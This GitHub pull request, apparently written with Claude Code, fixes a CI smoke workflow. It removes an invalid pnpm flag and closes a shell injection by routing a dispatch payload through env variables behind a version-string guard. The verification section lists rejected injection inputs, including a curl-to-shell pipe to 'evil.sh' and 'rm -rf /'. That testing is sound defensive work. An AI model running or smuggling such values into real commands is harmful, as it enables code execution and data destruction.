ci(sdk-smoke): drop invalid pnpm add flag and stop splicing the dispatch payload into shell - #239
ci(sdk-smoke): drop invalid pnpm add flag and stop splicing the dispatch payload into shell#239dcccrypto wants to merge 1 commit into
pnpm add flag and stop splicing the dispatch payload into shell#239Conversation
…patch payload into shell Two defects in the nightly SDK publish smoke, both of which keeper fixed in dcccrypto/percolator-keeper#388. percolator-api never got the same treatment. 1. `pnpm add` was passed `--no-frozen-lockfile`, which is an `install`-only flag. pnpm 10 aborts with `Unknown option: 'frozen-lockfile'` (exit 254), so the job died at argument parsing *before running a single test* — every scheduled run, including this morning's. This matters more than an ordinary red job: a genuine publish regression would have looked identical to the flag bug. The canary was blind, not merely red. 2. `${{ github.event.client_payload.version }}` was interpolated directly into a `run:` block. That value arrives from `repository_dispatch` and is therefore externally supplied, so it was spliced into the script text itself — a shell injection, the same class fixed in #235. Every externally-influenced value now travels via `env:` and is dereferenced as a shell variable, and the resolved version is additionally constrained to `[A-Za-z0-9.+-]+` before use. Verified the guard discriminates: 2.0.9 / 2.0.5 / 3.0.0 / 1.0.0-beta.33 / 1.0.0-beta.37 all accepted, while `$(whoami)`, backtick-id, `"; curl … | sh; #`, `2.0.9; rm -rf /`, `2.0.9 && wget x`, empty and `a b` are all rejected. actionlint clean; no `${{ }}` remains inside any `run:` block in this file. Note: this does not make the job pass. Once it can actually run it will hit the same wall as keeper — the smoke asserts a v17 ABI that was never published to npm (see dcccrypto/percolator-keeper#389). This restores the signal; publishing is a separate, sdk-owned decision. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
Warning Review limit reached
Next review available in: 31 seconds Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
1 participant
Two defects in the nightly SDK publish smoke. keeper fixed both in
dcccrypto/percolator-keeper#388; percolator-api never got the same treatment. Its nightly has
been failing on
main— including this morning's run(29813441828, exit 254).
1. Invalid
pnpm addflag — the canary was blindpnpm 10 aborts with
Unknown option: 'frozen-lockfile'(exit 254), so the job died at argumentparsing before running a single test.
This is worse than an ordinary red job. A genuine publish regression would have looked
identical to the flag bug — same red X, same exit code, no test output either way. The canary
was blind, not merely red.
2. Shell injection via the dispatch payload
That value arrives from
repository_dispatch(types: [sdk-published]), so it is externallysupplied — and it was interpolated into the script text itself, not passed as data. Same
class as #235.
Every externally-influenced value now travels through
env:and is dereferenced as a shellvariable, and the resolved version is additionally constrained to
[A-Za-z0-9.+-]+before use.Verification
The version guard discriminates:
2.0.9,2.0.5,3.0.0,1.0.0-beta.33,1.0.0-beta.37$(whoami)`id`"; curl evil.sh | sh; #2.0.9; rm -rf /2.0.9 && wget xa bactionlintclean, and no${{ }}remains inside anyrun:block in this file.What this does not do
It does not make the job pass. Once it can actually run, it will hit the same wall keeper
did: the smoke asserts a v17 ABI that was never published to npm — latest is
2.0.9, andapi pins
1.0.0-beta.33. See dcccrypto/percolator-keeper#389 for the full analysis.This PR restores the signal. Publishing
3.0.0(or gating these workflows) is a separate,sdk-owned decision.
Companion: percolator-indexer#179 does the same for the indexer — I rebased it today to clear
an unrelated stale-branch audit failure.
CI note:
build-and-teston this branch may fail withENOENT … /home/runner/work/percolator-sdk— that is the repo-wide #232 breakage that #233fixes, unrelated to this change, which touches only
.github/workflows/sdk-smoke.yml.🤖 Generated with Claude Code